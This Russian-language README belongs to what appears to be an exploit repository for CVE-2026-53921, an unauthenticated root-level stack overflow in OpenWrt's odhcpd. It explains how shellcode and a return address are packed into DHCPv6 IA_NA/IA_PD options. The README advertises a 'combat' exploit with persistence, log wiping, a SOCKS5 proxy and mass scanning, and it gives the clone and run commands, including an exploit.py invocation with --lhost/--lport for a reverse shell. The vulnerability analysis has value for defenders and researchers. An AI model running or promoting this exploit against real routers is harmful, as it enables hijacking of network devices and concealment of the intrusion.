
CVE-2026-53921 – переполнение стека odhcpd (CVSS 9.8) 🛡️ Подробный и всесторонний разбор уязвимости, верификатор и мультиэксплойт для RCE через DHCPv6 в OpenWrt. Двухвекторное (IA_NA/IA_PD) переполнение с shellcode для MIPS/ARM, ROP-цепочки, SOCKS5-прокси, персистентность, затирание логов и массовое сканирование. Используйте этично, оставайтесь в рамках закона. 🔒

- Только для образовательных целей и авторизованного тестирования. Несанкционированное использование незаконно.**
CVE-2026-53921 — критическое переполнение буфера в стеке в демоне odhcpd OpenWrt — сервере DHCPv6/DHCPv4/RA по умолчанию.
Уязвимость существует в коде обработки сообщений DHCPv6 в odhcpd,
в частности в функциях build_ia() и dhcpv6_ia_handle_IAs().
Ошибка возникает во время сериализации (упаковки) пакетов DHCPv6 Reply.
Когда odhcpd отвечает на запросы клиента, он формирует
ответ в буфере стека фиксированного размера 512 байт без должной
проверки границ.
// Упрощённое представление уязвимого кода
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// Нет проверки границ перед записью
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Атакующий отправляет DHCPv6 Request (или Solicit) с:
Каждая опция занимает место в стеке, пока odhcpd формирует свой Reply. Накопленные
данные превышают 512 байт, вызывая переполнение.
Вектор Триггер Точка переполнения
Site 1 5 опций IA_NA build_ia() для IA_NA
с IPv6-адресами
build_ia() для IA_PDПервопричина идентична, но переполнение происходит в разных путях кода, что делает оба вектора одинаково эксплуатируемыми.
Раскладка стека (упрощённо):
+-------------------+ <-- Старшие адреса
| Return Address | ← Перезаписывается значением, контролируемым атакующим
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← Буфер 512 байт
+-------------------+ <-- Младшие адреса
Атакующий перезаписывает сохранённый адрес возврата, чтобы он указывал на его шелл-код в памяти.
Требование Описание
Сетевой доступ У атакующего должно быть IPv6-подключение к цели
Аутентификация Нет — атака без аутентификации
Привилегии odhcpd работает от root, поэтому RCE даёт
полный контроль над системой
В реальном эксплойте шелл-код атакующего размещается в полях IPv6-адресов IAAddress (16 байт на IA_NA). Сформированные пакеты упаковывают шелл-код, NOP-след и адрес возврата в эти поля.
Структура сформированного IA_NA:
+-------------------+
| IA_NA Header | (12 байт)
+-------------------+
| IAAddress 1 | ← NOP-след + шелл-код
+-------------------+
| IAAddress 2 | ← NOP-след + шелл-код
+-------------------+
| IAAddress 3 | ← NOP-след + шелл-код
+-------------------+
| IAAddress 4 | ← Адрес возврата
+-------------------+
| IAAddress 5 | ← Адрес возврата
+-------------------+
Сформированный DHCPv6 Request
↓
odhcpd обрабатывает опции IA_NA/IA_PD
↓
Переполнение буфера стека 512 байт
↓
Адрес возврата перезаписан
↓
CPU переходит на шелл-код
↓
Reverse shell / Bind shell / RCE
↓
Полная компрометация системы (привилегии root)
Версия Статус Возможен RCE?
odhcpd < e432dd6 Уязвима [+] Да OpenWrt < 24.10.8 Уязвима [+] Да OpenWrt < 25.12.5 Уязвима [+] Да OpenWrt 24.10.8+ Исправлена [-] Нет OpenWrt 25.12.5+ Исправлена [-] Нет odhcpd master + e432dd6 Исправлена [-] Нет
Эта уязвимость особенно опасна, потому что:
odhcpd включён по умолчанию в установках OpenWrt.| Компонент | Уязвимые версии | Исправлено в |
|---|---|---|
odhcpd (ветка master) | до коммита e432dd6 | e432dd6 или новее |
| Релизы OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 и 25.12.5 |
Этот репозиторий предоставляет два независимых скрипта:
| Скрипт | Назначение | Код эксплойта | Безопасность |
|---|---|---|---|
verifier.py | Неинтрузивная проверка уязвимости | [-] Нет | [+] Безопасно |
exploit.py | Полноценный боевой эксплойт | [+] Да | [!] Опасно |
verifier.py – Проверка уязвимостиexploit.py – Полный эксплойтIA_NA (Site1) и IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Аргумент | Описание |
|---|---|
-u, --target | Целевой IPv6-адрес (обязательно) |
-i, --iface | Сетевой интерфейс (по умолчанию: eth0) |
exploit.py